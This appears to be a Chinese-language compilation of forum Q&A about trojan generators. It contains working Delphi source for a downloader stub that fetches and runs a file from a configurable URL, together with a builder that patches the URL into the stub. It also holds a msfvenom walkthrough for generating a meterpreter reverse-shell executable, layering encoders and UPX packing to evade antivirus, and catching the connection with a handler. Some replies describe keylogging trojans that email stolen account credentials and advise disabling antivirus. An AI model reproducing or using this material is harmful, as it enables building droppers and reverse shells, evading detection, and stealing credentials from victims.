木马生成器的工作原理？
先写服务端Server.exe，控制台程序program server; {$IMAGEBASE $13140000} uses Windows, SysUtils, urlmon, shellapi; var url: pchar ='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'; procedure Download; begin URLDownloadToFile(nil, url, 'c:\1.txt', 0, nil); shellexecute(0,'open','c:\1.txt',0,0,1); end; begin DownLoad; end. 再将Server.exe做成资源文件，RC文件写：jack RCDATA server.exe
找Server.exe文件偏移地址，用C32打开Server.exe，查找aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
将首地址转换成十进制即是我们要找的下载地址偏移。再写主程序，将Server.exe资源文件加入，{$R server.RES}。 unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; const OFFSET_URL = 65400; //下载地址偏移 type TForm1 = class(TForm) Label1: TLabel; Edit1: TEdit; Button1: TButton; Edit2: TEdit; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} {$R server.RES} procedure TForm1.Button1Click(Sender: TObject); var WriteBuff, ResultFilePath, ResourcePointer: PChar; ResourceLocation: HRSRC; ResourceSize, BytesWritten: Longword; ResDataHandle: THandle; FileHandle: THandle; sf:TSaveDialog; Url:string; begin if trim(edit1.Text)='' then begin Application.MessageBox(pchar('请输入下载地址！'), '提示信息', mb_iconinformation); exit; end; sf :=TSaveDialog.Create(Application); sf.DefaultExt :='exe'; sf.Title :='生成'; if not sf.Execute then exit; Url :=trim(Edit1.Text); //trim函数去掉空格，取得编辑框输入的内容 ResultFilePath := pchar(sf.FileName); ResourceLocation := FindResource(HInstance, 'jack', RT_RCDATA); //用资源RCDATA中urlmm资源 if ResourceLocation 0 then begin ResourceSize := SizeofResource(HInstance, ResourceLocation); if ResourceSize 0 then begin ResDataHandle := LoadResource(HInstance, ResourceLocation); if ResDataHandle 0 then begin ResourcePointer := LockResource(ResDataHandle); if ResourcePointer nil then begin FileHandle := CreateFile(ResultFilePath, GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); if FileHandle INVALID_HANDLE_VALUE then begin WriteFile(FileHandle, ResourcePointer^, {资源+大小的英语}ResourseSize, BytesWritten, nil); Sleep(10); //写入信息 SetFilePointer(FileHandle, OFFSET_URL, nil, FILE_BEGIN); WriteBuff := PChar(Url + StringOfChar(#0, 64 - Length(Url)));//64是我们预留的那个字符串的长度(即64个a) WriteFile(FileHandle, WriteBuff^, 64, BytesWritten, nil); CloseHandle(FileHandle); //这个一定不能少 MessageBox(0, '配置成功', '提示', mb_iconinformation); end; end; end; end; end; end; end.
木马生成器是干什么的`？
是很早的软件了.几年前就有看过了那个一般没什么用
是用来生成一些简单的编程
盗号用的.
发送到你的邮箱上面
现在没啥用.
一般普通的杀毒软件都可以发现
如何用msfvenom生成木马程序
一,目的:熟悉msfvenom生成木马程序过程,并执行和监听控制.
二,工具:MSF
三,原理:msfvenom是msfpayload,msfencode的结合体,它的优点是单一,命令行,和效率.利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线
四,过程:
1,查看帮助
命令: root# msfvenom -h
结果:
2,生成meterpreter payload 并利用shikata_ga_nai编码,查看所需选项,利用 -o参数
命令: root# msfvenom -p windows/meterpreter/reverse_tcp -o
结果:
3,现在设置LHOST,即监听主机IP和LPORT监听端口,我是本地局域网测试,所以IP是192.168.1.113,端口设置成443.所以最后连接会通向192.168.1.113的443端口
命令: root# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.1.113 LPORT=443 -f exe abc.exe
注:如果只是用msfpayload生成,简单示例:
命令: root # msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.113 X Desktop/abc.exe
多次生成可进行免杀:msfpayload windows/shell_reverse_tcp lhost=192.168.128.129 lport=888 r| msfencode -e x86/shikata_ga_nai -c 7 -t raw | msfencode -e x86/alpha_upper -c 3 -t raw | msfencode -e x86/shikata_ga_nai -c 6 -t raw | msfencode -e x86/alpha_upper -c 3 -t exe -o /root/Desktop/acn.exe
upx加壳：upx -5 /root/Desktop/acn.exe
结果:
说明: -p payload
-e 编码方式
-i 编码次数
-b 在生成的程序中避免出现的值
LHOST,LPORT 监听上线的主机IP和端口
-f exe 生成EXE格式
4,把生成的abc.exe放到win7下.执行.
5,在命令行下,打开msfconsole.
命令: root # msfconsole
6,本机监听,因为之前用的是reverse_tcp,所以设置如下
命令: msf use exploit/multi/handler
Msf exploit(handler) set payload windows/meterpreter/reverset_tcp
结果:
7,现在快完成了,设置LHOST,LPORT,并执行exploit,会发现有连接进来.
8,.验证
木马生成器有什么用
木马生成器就是一个可以配置并生成木马的程序
如果是远程控制型木马，该程序是一个客户端程序，可以配置并生成服务端
通过客户端可以控制服务端
木马生成器
黑软一般都被防火墙 和杀毒软件识别为病毒的
所以要完整的下过来一般都要关掉杀毒软件和防火墙。。
但是楼主你自己小心了。现在确实很多黑软是真的被人绑了毒
想学黑 先学要让人黑。。不然不长记性滴。
关于你自己的木马生成器 你要自己中也可以塞。 生成的木马是发给别人 让别人运行的 。。。。不是你自己 所以除非你愿意 不然的话应该不会中
什么是木马生成器，生成器是什么
生成器生成服务端 就是放到别人机器上的
就是傻瓜式做木马的软件
高级点的你有客户端可以直接控制
记录键盘类的你不用控制 在生成好的木马里填好你的邮箱就行了
木马生成器都有那些?
有图片木马生成器，有QQ木马生成器，有图片捆绑器，有邮箱、QQ盗号生成器，这些都可以在百度里下载，全部是免费的，建议LZ先把木马防火墙关了，否则的话杀毒软件会自动删除的。